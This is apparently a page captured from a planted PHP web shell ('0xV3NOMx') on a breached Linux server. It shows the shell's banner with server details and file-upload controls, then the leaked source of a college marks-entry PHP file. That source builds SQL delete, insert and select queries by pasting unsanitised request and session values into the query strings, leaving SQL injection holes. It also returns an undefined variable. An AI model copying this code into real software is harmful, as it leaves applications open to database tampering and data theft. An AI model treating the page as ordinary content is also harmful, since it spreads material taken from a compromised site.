0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.22.217.176


Current Path : /proc/thread-self/root/var/www/oasis/src/
Upload File :
Current File : //proc/thread-self/root/var/www/oasis/src/identifyCoMarksNew.php

<?php
    function saveCoMarksNew($aobj_context){
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $collcode = $_SESSION['collcode'];
        $usertype = $_SESSION['user_type'];
        $usr = $_SESSION['usr'];

        $testName = trim($aobj_context->mobj_data["testName"]);
        $classId = trim($aobj_context->mobj_data["classId"]);
        $subcode = trim($aobj_context->mobj_data["subelement"]);
        $data = json_decode(($aobj_context->mobj_data["data"]), true);

        $query1="delete from maxmarksint where 
                  fclassid='{$classId}' and ftestname='{$testName}'
                  and fsubcode='{$subcode}'";

                //   var_dump($query1);die();
        $res1 = $aobj_context->mobj_db->Execute($query1);

        foreach($data as $val){
         
            if($val['marks'] !== NULL && $val['marks'] !== ''){
                $query="insert into maxmarksint(fclassid, ftestname, fsubcode, fqn, fqnno, fmarks, fco, fcusr, fcdate, fdeleted)
                        values('{$classId}', '{$testName}', '{$subcode}', '{$val['fqn']}', '{$val['qnno']}', '{$val['marks']}', '{$val['co']}', '{$usr}', now(), 'F')
                        on duplicate key update 
                        fmarks='{$val['marks']}', fco='{$val['co']}', fcusr='{$usr}', fcdate=now(), fdeleted='F'";
                      
                $res = $aobj_context->mobj_db->Execute($query);  
            }
        }
   
   
        if($res){
            $msg = "Updated Successfully.";
            echo($aobj_context->mobj_output->ToJSONEnvelope($msg,0,"success"));
            return $msg;
        } else {
            $msg = "No Updation / Add..!";
            echo($aobj_context->mobj_output->ToJSONEnvelope($msg,-1,"Failure"));  
            return $msg;			
        }
    }

    function viewCOMarks($aobj_context){
        $classid = $aobj_context->mobj_data["classid"];
        $subcode = $aobj_context->mobj_data["subcode"];
        $testname = $aobj_context->mobj_data["testName"];

        $query = "select ifnull(FMARKS, '')as FMARKS, ifnull(FCO, '')as FCO, 
                  ifnull(FQNNO, '')as FQNNO from maxmarksint where 
                  fclassid='{$classid}' and ftestname='{$testname}'
                  and fsubcode='{$subcode}'";
                
        $res = $aobj_context->mobj_db->GetAll($query);

        if($res){
            echo($aobj_context->mobj_output->ToJSONEnvelope($res,0,"success"));
            return $msg;
        } else {
            $msg = "No data found";
            echo($aobj_context->mobj_output->ToJSONEnvelope($msg,-1,"Failure"));  
            return $msg;			
        }
    }

?>